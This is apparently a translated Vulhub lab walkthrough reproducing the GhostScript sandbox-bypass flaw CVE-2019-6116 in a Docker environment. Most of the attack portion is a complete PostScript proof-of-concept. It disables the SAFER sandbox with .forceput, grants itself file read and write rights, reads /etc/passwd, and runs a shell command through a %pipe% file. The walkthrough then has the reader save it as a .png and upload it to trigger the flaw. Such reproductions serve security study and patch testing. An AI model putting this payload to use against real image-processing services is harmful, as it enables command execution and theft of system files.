GhostScript sandbox bypass (command execution) vulnerability (CVE-2019-6116)
Official reproduction of Vulnhub
https://vulhub.org/#/environments/ghostscript/CVE-2019-6116/
Loophole principle
GhostScript is used by many image processing libraries, such as ImageMagick, Python PIL, etc. by default, these libraries will distribute them to different processing methods according to the content of the image, including GhostScript.
Reference link:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1729&desc=2
https://www.anquanke.com/post/id/170255
Replication vulnerability
Boot environment
https://blog.csdn.net/JiangBuLiu/article/details/93853056
The entry path is
cd /root/vulhub/ghostscript/CVE-2019-6116
Build and run vulnerability environment:
docker-compose build && docker-compose up -d
Time: 2:30
After the environment is started, you can see an upload component by visiting http: / / your IP: 8080.
Loophole reappearance
POC
%!PS % extract .actual_pdfpaintproc operator from pdfdict /.actual_pdfpaintproc pdfdict /.actual_pdfpaintproc get def /exploit { (Stage 11: Exploitation...)= /forceput exch def systemdict /SAFER false forceput userparams /LockFilePermissions false forceput systemdict /userparams get /PermitFileControl [(*)] forceput systemdict /userparams get /PermitFileWriting [(*)] forceput systemdict /userparams get /PermitFileReading [(*)] forceput % update save restore % All done. stop } def errordict /typecheck { /typecount typecount 1 add def (Stage 10: /typecheck #)=only typecount == % The first error will be the .knownget, which we handle and setup the % stack. The second error will be the ifelse (missing boolean), and then we % dump the operands. typecount 1 eq { null } if typecount 2 eq { pop 7 get exploit } if typecount 3 eq { (unexpected)= quit } if } put % The pseudo-operator .actual_pdfpaintproc from pdf_draw.ps pushes some % executable errays onto the operand stack that contain .forceput, but are not % marked as executeonly or pseudo-operators. % % The routine was attempting to pass them to ifelse, but we can cause that to % fail because when the routine was declared, it used `bind` but many of the % names it uses are not operators and so are just looked up in the dictstack. % % This means we can push a dict onto the dictstack and control how the routine % works. << /typecount 0 /PDFfile { (Stage 0: PDFfile)= currentfile } /q { (Stage 1: q)= } % no-op /oget { (Stage 3: oget)= pop pop 0 } % clear stack /pdfemptycount { (Stage 4: pdfemptycount)= } % no-op /gput { (Stage 5: gput)= } % no-op /resolvestream { (Stage 6: resolvestream)= } % no-op /pdfopdict { (Stage 7: pdfopdict)= } % no-op /.pdfruncontext { (Stage 8: .pdfruncontext)= 0 1 mark } % satisfy counttomark and index /pdfdict { (Stage 9: pdfdict)= % cause a /typecheck error we handle above true } >> begin <<>> <<>> { .actual_pdfpaintproc } stopped pop (Should now have complete control over ghostscript, attempting to read /etc/passwd...)= % Demonstrate reading a file we shouldnt have access to. (/etc/passwd) (r) file dup 64 string readline pop == closefile (Attempting to execute a shell command...)= flush % run command (%pipe%id > /tmp/success) (w) file closefile (All done.)= quit
Save POC code as a. png file
Upload POC file
Visit http://your-ip:8080 through browser to upload poc.png file
You can execute ID > / TMP / cve-2019-6116 "is" success
Test success
Enter the container docker compose exec web Bash and enter the command ls /tmp